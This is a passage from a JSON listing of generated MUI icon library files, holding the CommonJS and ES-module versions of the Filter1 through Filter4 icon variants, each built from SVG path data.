    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m13 10c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1h1v7c0 .55.45 1 1 1m6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'Filter1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm11 10h2V5h-4v2h2zm9-14H5v18h18zm-2 16H7V3h14z\"\n}), 'Filter1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm11 10h2V5h-4v2h2zm9-14H5v18h18zm-2 16H7V3h14z\"\n}), 'Filter1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm5-12h4v10h-2V7h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 15h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM1 5v16c0 1.1.9 2 2 2h16v-2H3V5z\"\n}, \"1\")], 'Filter1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm5-12h4v10h-2V7h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 15h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM1 5v16c0 1.1.9 2 2 2h16v-2H3V5z\"\n}, \"1\")], 'Filter1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'Filter2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'Filter2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'Filter2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6z\"\n}), 'Filter2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-4-4h-3v-2h2c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3v2h-2c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'Filter2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-4-4h-3v-2h2c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3v2h-2c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'Filter2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-4-4h-4v-2h4V5h-6v2h4v2h-4v6h6z\"\n}), 'Filter2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-4-4h-4v-2h4V5h-6v2h4v2h-4v6h6z\"\n}), 'Filter2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-6c0-1.11.9-2 2-2h2V7h-4V5h4c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2v2h4v2h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6zm4-12H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM1 21c0 1.1.9 2 2 2h16v-2H3V5H1z\"\n}, \"1\")], 'Filter2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-6c0-1.11.9-2 2-2h2V7h-4V5h4c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2v2h4v2h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6zm4-12H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM1 21c0 1.1.9 2 2 2h16v-2H3V5H1z\"\n}, \"1\")], 'Filter2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m15 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.1-.9-2-2-2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3v2h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2\"\n}), 'Filter3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m15 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.1-.9-2-2-2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3v2h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2\"\n}), 'Filter3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 1H5v18h18zm-2 16H7V3h14zM3 5H1v18h18v-2H3zm14 10V5h-6v2h4v2h-2v2h2v2h-4v2z\"\n}), 'Filter3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 1H5v18h18zm-2 16H7V3h14zM3 5H1v18h18v-2H3zm14 10V5h-6v2h4v2h-2v2h2v2h-4v2z\"\n}), 'Filter3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-4h4v-2h-2V9h2V7h-4V5h4c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V13c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2m2 10v-2H3V5H1v16c0 1.1.9 2 2 2z\"\n}, \"1\")], 'Filter3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-4h4v-2h-2V9h2V7h-4V5h4c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V13c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2m2 10v-2H3V5H1v16c0 1.1.9 2 2 2z\"\n}, \"1\")], 'Filter3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m14 10c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1v3h-2V6c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h3v3c0 .55.45 1 1 1m5-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'Filter4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m14 10c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1v3h-2V6c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h3v3c0 .55.45 1 1 1m5-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'Filter4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm8-14H5v18h18zm-2 16H7V3h14z\"\n}), 'Filter4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm12 10h2V5h-2v4h-2V5h-2v6h4zm8-14H5v18h18zm-2 16H7V3h14z\"\n}), 'Filter4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4TwoTone.js",
